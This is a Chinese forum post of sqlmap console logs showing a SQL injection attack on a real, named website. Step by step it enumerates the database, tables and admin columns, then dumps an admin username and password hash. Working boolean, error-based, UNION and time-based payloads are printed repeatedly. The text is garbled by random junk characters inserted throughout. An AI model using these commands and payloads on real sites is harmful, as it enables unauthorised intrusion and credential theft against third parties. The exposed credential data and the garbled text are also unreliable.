找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2714|回复: 0
打印 上一主题 下一主题

sqlmap实例注入mysql

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 22:18:49 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db
! U" e7 M! y' ^4 p1 Oms "Mysql" --current-user       /*  注解:获取当前用户名称
+ X1 E7 W( H% T0 V  ]    sqlmap/0.9 - automatic SQL injection and database takeover tool/ g) k4 Q6 P- N
    http://sqlmap.sourceforge.net
  • starting at: 16:53:543 m% ~- U4 U5 V0 `9 E" m, b
    [16:53:54] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as$ {4 {, r1 w, d7 C- o& z: o
    session file
    8 \. h+ ~+ V' p4 `[16:53:54] [INFO] resuming injection data from session file
    5 A5 m6 M, j, K) R0 H[16:53:54] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
    - F3 Q: }" v0 f% ^* N9 w4 ][16:53:54] [INFO] testing connection to the target url& L7 c3 x9 l8 X" Q
    sqlmap identified the following injection points with a total of 0 HTTP(s) reque
    1 u0 {. q; v& ]1 o1 Vsts:
    ) G2 M- F. s4 u" Y5 H---6 j- j2 O, M9 l% h( H
    Place: GET' U$ Z' p" K/ h5 Q; k+ L# ?
    Parameter: id
    . n0 V0 `6 L& b" l6 h    Type: boolean-based blind
    0 ]3 z2 R0 y9 G$ T" a    Title: AND boolean-based blind - WHERE or HAVING clause6 h; @# v: [6 J( \+ {+ o
        Payload: id=276 AND 799=799- T( _- c  J5 w+ j, j1 U
        Type: error-based
    0 k( d$ T- l9 Y* R7 m' T' Q    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause  W5 b, T0 m# ^
        Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,' e6 W( q! \' {
    120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58' q; }- f5 `8 R+ ~
    ),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)# o) t! K% n3 \; Z2 I6 ?
        Type: UNION query
    $ d% w0 \8 J) x. r  [    Title: MySQL UNION query (NULL) - 1 to 10 columns
    ; o6 E! F' V# f    Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
    , G# u" Q+ b- i" B(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
    $ t" h& [+ ]# G' sCHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
    , `. p8 b0 n2 I+ h    Type: AND/OR time-based blind
    4 o  `  c7 }$ Y0 u  Y    Title: MySQL > 5.0.11 AND time-based blind
    / d0 [; ?) W7 t, w2 b5 ~    Payload: id=276 AND SLEEP(5)/ u: e3 A6 Y" o2 j  l+ r
    ---5 M) j; G: a8 Q' n5 v) A# D
    [16:53:55] [INFO] the back-end DBMS is MySQL  O/ c7 _) q* h, x4 z- H
    web server operating system: Windows
    5 _8 I0 u1 A! f5 b" I' ^web application technology: Apache 2.2.11, PHP 5.3.0
      i* Z- U( _- G6 tback-end DBMS: MySQL 5.0
    # u( M5 F5 _: }9 y% ^9 [[16:53:55] [INFO] fetching current user) ~  I7 v$ V* T; o, r3 V; N
    current user:    'root@localhost'   ! V$ c2 ]  ~0 ^1 f! q" |
    [16:53:58] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou
    % t' |; F9 E: l4 H& b2 ~tput\www.wepost.com.hk'
  • shutting down at: 16:53:583 h$ t' Z1 a6 t  g6 c
    ; g: ]; u) |# _0 p
    D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db) X) }: w% _+ P! P) `
    ms "Mysql" --current-db                  /*当前数据库; O  ]) I& i3 p
        sqlmap/0.9 - automatic SQL injection and database takeover tool+ B( L' a* \) F, |3 v8 B! D
        http://sqlmap.sourceforge.net
  • starting at: 16:54:16$ [5 T7 x% ?( z5 d  p
    [16:54:16] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as. u. C5 H% C% c* J
    session file- S0 @2 m- ^% y% Y* g
    [16:54:16] [INFO] resuming injection data from session file. t; H1 `) [( q( r5 E  F( R
    [16:54:16] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
    , D; O1 N# T6 x! c, ~[16:54:16] [INFO] testing connection to the target url
    5 n- m  k, W; G- C$ p( h% Y& ~- Osqlmap identified the following injection points with a total of 0 HTTP(s) reque, g4 Y' e$ C! q- Y
    sts:
    ( C2 p. Z4 @) K5 ?* V" X7 x' e---
    . `' k. ]6 C& B( IPlace: GET
    & }- U, r/ ]1 d7 f/ vParameter: id
    , d& z* k; M" o    Type: boolean-based blind8 P' q9 r1 _9 {7 ?' v+ V. B
        Title: AND boolean-based blind - WHERE or HAVING clause& c+ ?& Y7 \! {! W$ D! t
        Payload: id=276 AND 799=799
    5 v4 r5 u+ v" c: Z    Type: error-based* E* m! h/ F& G" F
        Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    1 e9 e% ]  s7 V. S    Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,5 |! R5 j: S$ S. M1 [+ \
    120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58) D3 L; v6 y$ p6 a5 w8 W( I
    ),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
    ' S, A( q, ~9 K2 K2 A    Type: UNION query& Z7 O8 R  v- y( I* ^% Z7 x; k% h" S
        Title: MySQL UNION query (NULL) - 1 to 10 columns7 l" S# V5 ]; j' B
        Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR) {: d0 R! o% ]
    (58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),0 G& C; ~* X4 T6 K! T  }" N# e$ U# z
    CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#/ X$ f7 ]7 Q5 g5 P4 d% G
        Type: AND/OR time-based blind. K4 P! s& J( Z9 G! ^2 t
        Title: MySQL > 5.0.11 AND time-based blind4 R7 }! ~: v: m* h- R
        Payload: id=276 AND SLEEP(5)# M9 c; ]9 C, S+ u! }0 _  }
    ---
    0 l0 a( U9 n+ h6 f8 b  A4 r3 j/ x4 H[16:54:17] [INFO] the back-end DBMS is MySQL4 F1 ]4 f  ^4 G
    web server operating system: Windows; \, g# Z8 w. M# V, a% y3 E: _
    web application technology: Apache 2.2.11, PHP 5.3.0; F, i5 f( A# C. z: f
    back-end DBMS: MySQL 5.0& z4 m) K' @- m, t
    [16:54:17] [INFO] fetching current database# c( M: K, `7 g6 n9 d  c
    current database:    'wepost'
    , N- {; T5 |- S) n# U1 U[16:54:18] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou7 E0 e% z3 p. Z# Z+ L
    tput\www.wepost.com.hk'
  • shutting down at: 16:54:18) _9 a' {0 u5 E8 j$ z9 R
    D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db
    8 k/ K) j% T% o8 Yms "Mysql" --tables  -D "wepost"         /*获取当前数据库的表名8 ~3 ^6 R9 S; k8 @
        sqlmap/0.9 - automatic SQL injection and database takeover tool  e( _/ V' i. Y
        http://sqlmap.sourceforge.net
  • starting at: 16:55:250 G5 c6 G' O# r+ H: P
    [16:55:25] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as, A8 R% b0 P7 W  ^
    session file) h5 Q9 v5 `9 y
    [16:55:25] [INFO] resuming injection data from session file1 o& J$ T6 k5 L! p, l0 X3 ^5 o
    [16:55:25] [INFO] resuming back-end DBMS 'mysql 5.0' from session file% k4 U3 W$ r, Z6 \
    [16:55:25] [INFO] testing connection to the target url6 I: y$ V! k$ |# G: X# b' n
    sqlmap identified the following injection points with a total of 0 HTTP(s) reque* P" l2 P4 F6 Y
    sts:
    8 C4 P1 R3 Q9 X( ]3 r---
    " y+ I" r. ^1 |Place: GET
    ! q: L8 [% g, F+ O  SParameter: id, v- j+ G7 U% h, l" z9 K
        Type: boolean-based blind
    % z1 {: t9 [" `$ t7 R    Title: AND boolean-based blind - WHERE or HAVING clause
    ( C5 Q+ ]: M. r. F    Payload: id=276 AND 799=799
    1 f0 r% u* c0 ]3 a    Type: error-based
    ) M7 J" e9 c8 ^( A  i2 A    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    7 m- k/ C5 ?- C    Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
    + f8 `8 E- c7 ]: C* q; @120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
    ! v% |; I2 {+ Q),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a). C0 {6 V+ C  v
        Type: UNION query
    / _9 {0 z2 a5 V1 R1 Y- D3 {5 b3 F/ t    Title: MySQL UNION query (NULL) - 1 to 10 columns- `6 W0 E& d6 Z. s
        Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR9 g0 K+ u! `' V. @3 ]4 h
    (58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
    ! N. n% A9 `/ l% U# C! nCHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
    5 c! h8 c8 e& }- A    Type: AND/OR time-based blind% U8 s7 G( b0 D1 N2 `
        Title: MySQL > 5.0.11 AND time-based blind  P. V* k+ J6 t; H% l9 E
        Payload: id=276 AND SLEEP(5). k: g, X) ~% F) k  m) l4 S
    ---, F5 N# ], Z5 l: q/ H4 x7 w
    [16:55:26] [INFO] the back-end DBMS is MySQL8 A$ K' Y) A2 ~+ K4 E, i
    web server operating system: Windows
    - B) @( C4 D+ P6 V9 y+ I/ k, z0 Tweb application technology: Apache 2.2.11, PHP 5.3.0$ ~6 w0 q  p0 S
    back-end DBMS: MySQL 5.0
    * f1 x. w7 U) u[16:55:26] [INFO] fetching tables for database 'wepost') W- [' q6 ?0 O4 A( k/ v3 d1 @3 Z3 C
    [16:55:27] [INFO] the SQL query used returns 6 entries( T+ K9 J0 e+ ]; [+ A( X7 Z: c
    Database: wepost
    ; _$ W9 m$ P, @. o) E' ?3 [[6 tables]6 u8 x0 e; h* w
    +-------------+
    2 O$ n  c3 k$ T0 w5 L| admin       |
      w% f1 ~% C1 c5 `& n| article     |7 h; }) F! y+ Z% x6 S0 }) h3 ]
    | contributor |3 A9 U: }0 M( x! o
    | idea        |' j6 P/ _( m/ h3 f3 W! C
    | image       |
    ' h( G* |  K* ?4 q! S* K| issue       |
    2 w: w- Z1 v5 P" A+ k+-------------+' t4 y1 f! U1 S
    [16:55:33] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou
    $ S- f0 U1 f0 X1 h7 F2 Xtput\www.wepost.com.hk'
  • shutting down at: 16:55:33
    4 W% p3 q5 h3 E; p( l3 C; c+ M( p+ G8 Y$ o
    D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db  w% V9 K7 h( Y/ P1 B7 V  P2 X* H' g
    ms "Mysql" --columns -T "admin" users-D "wepost" -v 0     /*获取admin表的字段名0 g, S1 W$ j: w& o
        sqlmap/0.9 - automatic SQL injection and database takeover tool& W/ D. i. k' O5 f; |( M3 Z
        http://sqlmap.sourceforge.net
  • starting at: 16:56:06
      A3 ~. w7 y9 A: h* g& ssqlmap identified the following injection points with a total of 0 HTTP(s) reque
    6 N6 g- S3 d- o: S( Tsts:
    2 f; B1 I5 g- u+ y7 }/ _5 v---
    ; e* Q# |- Q( |' y: ?* D* |Place: GET
    % x( V9 ]; ]  ?7 a$ o6 Z+ w: E2 dParameter: id
    : P- x1 O; R0 `    Type: boolean-based blind
    8 _5 S4 X: T& F    Title: AND boolean-based blind - WHERE or HAVING clause
    4 p1 ~2 R2 A/ j    Payload: id=276 AND 799=799; F8 J# S$ q# o5 N; K7 e5 C! r, d
        Type: error-based
    ' u4 n0 o4 L* t& s7 B- o    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    ' ~$ s4 h0 a; `    Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
    ' f8 N5 P5 H$ W! V2 q6 N120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
    , h& b3 u0 t! P6 b  K! c1 T  z),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a); o- d- u- p$ C  v6 |6 r( h
        Type: UNION query6 Q( M& _- y+ Z) L' d7 J6 w
        Title: MySQL UNION query (NULL) - 1 to 10 columns
    ) _7 Q: I* e- ]. a" ~% u% ?, b    Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR- D9 d' r, ]* y. q4 @( K
    (58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
    & W0 T  T6 {9 {+ H1 }CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#2 u9 G$ U7 X" b$ S& t# q4 P
        Type: AND/OR time-based blind
      @. a7 O" ?6 v( |9 P" |2 ]    Title: MySQL > 5.0.11 AND time-based blind
      C6 X1 v9 G4 f3 }8 Q3 a* Z$ l    Payload: id=276 AND SLEEP(5)
    2 U, y8 L) {& N. l9 n- P; ^---3 o% n: W5 ~( g0 ^$ y/ B: s
    web server operating system: Windows
    2 L1 l, ]/ w4 r3 z) X# xweb application technology: Apache 2.2.11, PHP 5.3.0# A& t- N# l8 G& P( L) G
    back-end DBMS: MySQL 5.0. E' A! e8 y0 {7 D4 r* A  ^
    [16:56:11] [INFO] read from file 'D:\Python27\sqlmap\output\www.wepost.com.hk\se
    : |7 U2 K0 m+ n+ i5 r4 T1 D+ v; Assion': wepost, wepost+ J4 C! a5 \& M! Z& z
    Database: wepost
    ; U0 ]% e. I4 d  Q3 _Table: admin
    ; L9 O( _: b  n# O3 Z9 j( J[4 columns]/ H1 q/ R9 i; p
    +----------+-------------+
    + W9 x6 M: z! S- d| Column   | Type        |
    # s" l" M& q: ~1 t6 u+----------+-------------+5 n' [- z  ?, a9 Z, o: `- Y. Z
    | id       | int(11)     |; J- r$ k8 Y! y# e7 S+ R. ^# @
    | password | varchar(32) |
    9 g& g+ D* _# J/ q3 Z5 k# a; [/ z4 H| type     | varchar(10) |
    / f; |; n( A; q| userid   | varchar(20) |6 Y2 S& k' s" i2 n% G1 Q7 v( ^
    +----------+-------------+4 ?) K+ O1 L4 z6 A
  • shutting down at: 16:56:19
    # g6 @' E1 u" S5 R; A* d6 r) `" R+ D/ A" ~: s. S
    D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db
    " \+ e  V2 p9 w2 Y1 Hms "Mysql"  --dump  -C "userid,password"  -T "admin" -D "wepost" -v 0      /*获取字段里面的内容
    , G# j; J+ B+ n7 X/ D! v    sqlmap/0.9 - automatic SQL injection and database takeover tool
    6 v: G8 D$ T. L. V/ L" Q    http://sqlmap.sourceforge.net
  • starting at: 16:57:14# T" J; c0 z1 X3 h, @+ E2 q; A7 `
    sqlmap identified the following injection points with a total of 0 HTTP(s) reque
    - p# p9 W5 _; A( s$ W* Bsts:
    2 T% L4 m  t& M+ q7 a---9 p$ m  D" ?" P: P' Y
    Place: GET* u% V+ x# h( S: r: O% V
    Parameter: id/ s+ D6 l5 o7 E; A
        Type: boolean-based blind- `7 s( ~: t, U" [
        Title: AND boolean-based blind - WHERE or HAVING clause; H" s+ Y" a! c
        Payload: id=276 AND 799=7997 M' u8 k- U. Y. ?2 P+ n
        Type: error-based
    6 g$ m" S2 q. X$ E    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause2 S9 E  g! L' T  z% g
        Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
    : t7 {6 d: A" j9 |7 t) T: j8 _120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,581 z) [0 L+ V7 W; m( P
    ),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
      _) B* v: N. i( j  l3 ?    Type: UNION query" G/ k* v+ n0 J; V  @3 O/ g7 S
        Title: MySQL UNION query (NULL) - 1 to 10 columns1 H, K3 j3 ?5 L# s( e" [) u: L. z$ r
        Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
    3 M, \  R" y; j* c; O& ^! ]2 _7 X* l9 P(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),# x6 C; H$ K7 [
    CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
    1 K  P3 p; L/ c  b" s    Type: AND/OR time-based blind. D0 g; V4 \3 n" v# b8 R
        Title: MySQL > 5.0.11 AND time-based blind
    " R6 r. K9 ~+ W2 Q2 Z8 d$ @0 \    Payload: id=276 AND SLEEP(5)/ v1 ]8 ]$ f, z% m+ Y% _
    ---; t1 r7 Y; o% k" t/ E; Y& i, N7 ]
    web server operating system: Windows) l5 y0 D. H. z- T, W
    web application technology: Apache 2.2.11, PHP 5.3.0% a8 k- C" g# t6 I* w' @
    back-end DBMS: MySQL 5.0
    , r& z- |9 A4 F/ n' p( erecognized possible password hash values. do you want to use dictionary attack o7 U) U8 d$ \( r' I
    n retrieved table items? [Y/n/q] y. G7 R: N) d$ p
    what's the dictionary's location? [D:\Python27\sqlmap\txt\wordlist.txt]) S0 W$ @: I) Q3 F; b6 l
    do you want to use common password suffixes? (slow!) [y/N] y  s$ i! e+ G+ }' L; `4 I1 U, S
    Database: wepost
    5 X+ {: t3 B; k" z+ A7 sTable: admin
    : a( {" o* {0 m  I: n! D[1 entry]
    1 R+ @5 }- Q! b# w7 I+----------------------------------+------------+" H. R* U; \( I9 P8 l
    | password                         | userid     |
    ' X7 [; a( M2 I# [3 D+----------------------------------+------------+
    / ]+ q. C. m' h7 @. _+ y| 7d4d7589db8b28e04db0982dd0e92189 | wepost2010 |
    % c7 U- L8 j& h+----------------------------------+------------+
    & V- Z! }7 ]1 J' y) }/ `
  • shutting down at: 16:58:14
    4 t4 _& \8 }% B# v
    ( o5 V. y1 ?7 L1 L" mD:\Python27\sqlmap>
  • 回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 立即注册

    本版积分规则

    快速回复 返回顶部 返回列表